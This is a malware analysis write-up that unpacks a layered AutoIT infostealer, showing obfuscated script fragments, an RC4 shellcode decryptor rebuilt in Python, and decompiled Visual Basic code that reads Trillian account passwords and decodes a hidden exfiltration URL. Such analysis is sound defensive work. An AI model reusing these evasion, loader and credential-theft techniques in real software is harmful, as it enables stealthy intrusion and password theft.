In this post, we'll walk through the analysis of a piece of AutoIT malware. AutoIt is a scripting language and interpreter mainly used for Windows administration and task automation. Malware written in AutoIT is not particularly common, though there was a recent Locky clone built using the language. We'll step through three different layers to find the final malicious payload.
This sample arrived as a WinRAR SFX self-extracting archive. Inside, we find an assortment of file types.
While the files in the archive are meant to look like images and documents, all of the files but dqu.exe are plain text files. The executable file is a copy of the AutoIT interpreter, which we can verify by searching for the file hash on VirusTotal:
In the WinRAR screenshot above, we can see that after the archive is unpacked, there is a "setup" command:
As dqu.exe is the AutoIT interpreter, it would appear that tid.ivb is the input script. But at first glance, tid.ivb appears to contain nothing but white space! This is another trick to thwart analysis, albeit one easy to bypass. The file contains mostly carriage returns (ASCII 0x0d) and line feeds (ASCII 0x0a), with the actual content hidden deep within:
What we find is an obfuscated AutoIT script:
With a short Python script, we can rename the functions and variables for easier reading and remove some of the string obfuscations:
Stepping through this code, we see that script runs without a tray icon to be avoid revealing itself. It sleeps for 20 seconds to evade antivirus detection, then reads configuration data from a fake PDF file:
The (renamed) function func_3 uses a directory name ('sqv') extracted from the PDF file and verifies that
the script is running from the user's AppData\Roaming\sqv directory and
that there is no window open titled 'sqv'.
(The latter check will fail if a malware analyst is running the script while the sqv subdirectory is open in Windows Explorer.) If either condition fails, the script terminates all running processes and forces a full system reboot:
$var_15 = func_0(@ScriptFullPath)
$var_16 = func_0(@AppDataDir & "\" & $SeeeSx & "\" & @ScriptName)
If $var_15 = $var_16 Then
If WinExists($SeeeSx) Then
$_6BA7C9 = ProcessList()
For $zzz = 1 To UBound($_6BA7C9) - 1
Once we've make it past this stage, the script continues to read data from kcj.pdf:
At this point, $var_4 holds a long hexadecimal string taken from kcj.pdf, and $var_6 is a randomly-generated 5-character string generated by func_1(). In its original form, this procedure was nearly incomprehensible:
The inputs to this function are the long hexadecimal string mentioned above ($var_10) and the string "897" ($var_11). These variables, along with the hexadecimal string stored in $var_12, are formatted and used in a Windows system call:
This use of CallWindowProc is a well-known trick for embedding shellcode in Windows scripts. The string $var_12 is represents binary executable code, which we can disassemble in IDA Pro:
This shellcode implements the RC4 stream cipher. It takes $var_11 as an input and transforms the long string $var_10. Here is the equivalent code in Python:
def dec(targetbuffer, inputstring):
# Initialize key buffer, with LENGTH = 255 bytes.
LENGTH = 0x100
key_buffer = bytearray(LENGTH)
for i in range(len(key_buffer)):
key_buffer[i] = i
# Now permute the key buffer based on inputstring.
inputstring = bytearray(inputstring,'ascii')
var_C = 0
for var_4 in range(LENGTH):
eax = inputstring[var_4 % len(inputstring)]
ecx = key_buffer[var_4]
var_C = (eax + ecx + var_C) % LENGTH
al = key_buffer[var_4]
key_buffer[var_4] = key_buffer[var_C]
key_buffer[var_C] = al
# Decrypt the targetbuffer in place. var_114 and var_118 are both indices
# into the key_buffer bytearray.
var_114 = 0
var_118 = 0
# iterate over targetbuffer
for ii in range(len(targetbuffer)):
# Manipulate the two index variables
var_114 = (var_114+1) % LENGTH
var_118 = (var_118 + key_buffer[var_114]) % LENGTH
# Swap bytes in key_buffer
al = key_buffer[var_114]
key_buffer[var_114] = key_buffer[var_118]
key_buffer[var_118] = al
# Finally, take the values at each index, add them (mod 256), then
# use the result as another index into the key_buffer.
tmp_index = (key_buffer[var_114] + key_buffer[var_118]) % LENGTH
# XOR the value at tmp_index against the targetbuffer.
targetbuffer[ii] = targetbuffer[ii] ^ key_buffer[tmp_index]
Using this script, we can extract the decrypted content and ... it's another AutoIT script!
The new script is written to disk, all of the files in the directory are set to 'hidden', and the script is executed.
The second AutoIT script uses additional obfuscation techniques, but again some renaming and simplifying makes the code more readable.
The first thing to notice is that this script tries to read a number of configuration variables from the fake PDF. These values, if present, are used to modify the script's behavior. Most of these options aren't used in this instance, but a look at the code shows some of the functionality available, including sandbox evasion, binary execution, and the ability to paste content to the victim's Facebook account if the site is open in a browser:
$var_42 = DllOpen("user32.dll")
If func_7("0D", $var_42) And WinActive("Facebook -") = True Then
$var_9 = @MIN + 1
If $var_9 > 60 Then
$var_9 = $var_9 - 60
In our case, the script reads another hexadecimal string from the PDF file, decrypts it with the same CallWindowProc/shellcode trick, writes the file to disk, then executes it. Instead of another AutoIT script, the payload this time is a standard Windows portable executable (PE) file.
Fortunately for us, this executable was written in Visual Basic 5 and compiled to p-code, and there are commercial tools to decompile this type of executable. Some of the functionality is obvious, such as this routine that pilfers account credentials from a popular instant messaging application:
Public Sub Proc_0_0_403FBC
'Data Table: 401740
loc_403EEC: var_88 = CStr(Environ("appdata") & "\Trillian\users\global\accounts.ini")
loc_403F15: If (Dir(var_88, 0) = vbNullString) Then
loc_403F18: Exit Sub
loc_403F19: End If
loc_403F20: Open var_88 For Binary As 7 Len = &HFF
loc_403F33: var_B8 = vbNullString
loc_403F5C: Get 7, 0, CStr(String(LOF(7), var_B8))
loc_403F60: Close 7
loc_403F70: var_94 = Proc_0_1_403C28("Account000", "Account")
loc_403F81: var_98 = Proc_0_1_403C28("Account000", "Password", var_88)
loc_403FA8: Proc_0_18_40429C(var_B8, "Trillian", "www.trillian.im")
loc_403FB9: Exit Sub
In addition to an array of other password-stealing functions, there's also a routine called InjPE that runs a Windows executable (PE) file by injecting it into another process. But which binaries will be injected? We can start with the resource section of our executable.
The first component of the DVCLAL resource is an ASCII string. In the decompiled Visual Basic, we find that this string is extracted and each character is shifted up by 2:
Public Sub Proc_0_13_4037A8(arg_C) '4037A8
'Data Table: 401740
Dim var_B8 As String
loc_403762: For var_8E = 1 To CInt(Len(arg_C)): var_8A = var_8E 'Integer
loc_40378D: var_B8 = Chr$(CLng((Asc(Mid$(arg_C, CLng(var_8A), 1)) + 2)))
loc_403791: var_88 = var_88 & var_B8
loc_4037A1: Next var_8E 'Integer
loc_4037A6: Exit Sub
Public Sub Proc_0_14_4066F0
'Data Table: 401740
Dim var_E8 As String
loc_406134: On Error Resume Next
loc_40614E: Me.Global.LoadResData 1, "DVCLAL", var_D4
We can decode the string with one line of Python:
>>> s = 'frrn8--bcdd_lmepmsn,am,gb-j_les_ec-glbcv,nfn'
>>> print ("".join(chr(ord(x)+2) for x in s))
The result is a URL, probably used to exfiltrate the stolen data from the victim's computer. The other two components of the DVCLAL resource are Windows PE files -- WebBrowserPassView and MailPassView -- utilities that scour a computer for "lost" passwords. Neither one is malware, strictly speaking, but both are commonly used for malicious purposes.
We've reached the bottom of this rabbit hole and found that the final payload searches the target computer for passwords. Layer 1 was the AutoIT script delivered in a self-extracting executable. Layer 2 was an encrypted AutoIT script decrypted with the CallWindowProc/shellcode trick. Layer 3 was the executable written in Visual Basic, which itself contained two more executables used as utilities to throughly scour the victim's computer before exfiltrating the data to a URL we found hidden in the resource section. Given the configurability and unused portions of the AutoIT scripts, it appears the malware authors used some sort of toolkit to wrap and obfuscate their malware. This, combined with the use of separate data/configuration files, make it feasible to deliver unique executables with each victim.